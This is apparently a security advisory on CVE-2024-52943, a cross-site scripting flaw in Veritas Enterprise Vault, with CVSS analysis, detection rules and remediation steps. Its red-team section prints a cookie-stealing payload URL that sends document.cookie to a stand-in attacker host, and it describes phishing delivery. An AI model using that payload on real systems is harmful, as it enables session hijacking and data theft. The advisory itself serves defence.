CVE-2024-52943

Executive Summary

CVE-2024-52943 is a stored/reflected Cross-Site Scripting (XSS) vulnerability in Veritas Enterprise Vault, affecting versions prior to 15.1 UPD882911. An authenticated remote attacker can inject a malicious parameter into an HTTP request, which, when viewed by another authenticated user, executes arbitrary JavaScript in the context of the victim’s session. This can lead to session hijacking, data theft, or further compromise of the Enterprise Vault environment. The vulnerability was reported via ZDI (ZDI-CAN-24697) and has a CVSS score of 5.4 (Medium). No public exploit code or proof-of-concept is currently available, and the EPSS score is 0.0%, indicating low exploitation activity in the wild.

Supply Chain & Package Security

This vulnerability is not related to any open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise software product (Veritas Enterprise Vault). No supply chain implications are present.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: Low (PR:L) – The attacker must be authenticated.
• User Interaction: Required (UI:R) – The victim must click a crafted link or view malicious content.
• Scope: Changed (S:C) – The vulnerability can impact resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited modification of data.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The requirement for authentication and user interaction reduces the immediate risk, but the potential for session hijacking and lateral movement within the enterprise vault environment makes it a significant concern for organizations using the product.

Deep Dive & Mechanics

The vulnerability resides in the web interface of Veritas Enterprise Vault, specifically in the component responsible for rendering archived content. When an authenticated user views archived emails or files, the application fails to properly sanitize user-supplied input passed via HTTP parameters. An attacker can inject a malicious JavaScript payload into a parameter (e.g., a search query or a file name) that is then reflected back to the user without proper encoding or sanitization.

Attack Flow:

1. Authentication: The attacker must have valid credentials to the Enterprise Vault web interface.
2. Crafting the Payload: The attacker crafts a URL containing a malicious JavaScript payload in a vulnerable parameter (e.g., ?param=<script>alert('XSS')</script>).
3. Delivery: The attacker sends the crafted URL to another authenticated user (e.g., via email or a phishing link).
4. Execution: The victim clicks the link and views the archived content. The injected script executes in the victim’s browser, allowing the attacker to steal session cookies, perform actions on behalf of the victim, or exfiltrate data.

Root Cause: Lack of input validation and output encoding in the web application’s handling of HTTP parameters when rendering archived content.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: Directly reflects user input without sanitization
function displayArchivedContent(param) {
    document.getElementById('content').innerHTML = param;
}

Patched Code (Conceptual):

// Patched: Uses textContent to prevent HTML injection
function displayArchivedContent(param) {
    document.getElementById('content').textContent = param;
}

The patched version uses textContent instead of innerHTML, which prevents the execution of injected HTML/JavaScript. Additionally, server-side input validation and output encoding should be implemented.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Valid credentials for the Enterprise Vault web interface.
• Network access to the Enterprise Vault server.
• A target user who will click the malicious link.

Steps:

1. Identify Vulnerable Parameter: Use a web proxy (e.g., Burp Suite) to intercept requests when viewing archived content. Look for parameters that are reflected in the response without encoding.
2. Craft Payload: Create a URL with a JavaScript payload. Example:

   https://vault.example.com/archive/view?file=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

3. Deliver Payload: Send the crafted URL to the victim via email or social engineering.
4. Exfiltrate Data: Set up a listener on attacker.com to capture the victim’s cookies.

Note: No public exploit code is available. The above is a conceptual example.

Blue Team (Defense & Detection)

Detection:

• Monitor web server logs for suspicious parameters containing <script>, onerror, onload, or other XSS vectors.
• Use a Web Application Firewall (WAF) to block common XSS patterns.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Mitigation:

• Apply the vendor patch (upgrade to 15.1 UPD882911 or later).
• Enforce strict input validation and output encoding.
• Educate users about phishing attacks and the risks of clicking suspicious links.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing <script> tags in parameters (e.g., ?file=<script>...).
  • Outbound connections to unknown domains from the Enterprise Vault web interface.
• Host IOCs:
  • Unusual JavaScript execution in the browser when viewing archived content.
  • Modified or stolen session cookies.
• Log IOCs:
  • Web server logs showing requests with encoded or raw XSS payloads.
  • Authentication logs showing multiple failed login attempts followed by successful login (potential credential compromise).

Detection Engineering

YARA Rule

rule CVE_2024_52943_XSS_Detection {
    meta:
        description = "Detects potential XSS payloads targeting Veritas Enterprise Vault"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-52943"
    strings:
        $xss1 = "<script>" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "onload=" nocase
        $xss4 = "javascript:" nocase
        $xss5 = "alert(" nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-52943 - XSS in Veritas Enterprise Vault
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests with XSS payloads targeting Enterprise Vault
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-52943
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '<script>'
            - 'onerror='
            - 'onload='
            - 'javascript:'
            - 'alert('
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in parameters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-52943 - XSS in Veritas Enterprise Vault"; flow:to_server,established; content:"GET"; http_method; content:"<script>"; http_uri; nocase; sid:1000001; rev:1; reference:cve,2024-52943;)

Remediation & Mitigation

1. Immediate Action: Upgrade to Veritas Enterprise Vault 15.1 UPD882911 or later. This is the only official patch.
2. Workaround: If patching is not immediately possible, restrict access to the Enterprise Vault web interface to trusted IP addresses and enforce multi-factor authentication.
3. Web Application Firewall (WAF): Deploy a WAF with rules to block common XSS patterns.
4. Content Security Policy (CSP): Implement a strict CSP header to prevent inline script execution.
5. User Training: Educate users on recognizing phishing attempts and not clicking suspicious links.
6. Monitoring: Enable detailed logging and monitor for anomalous HTTP requests.

Valters IT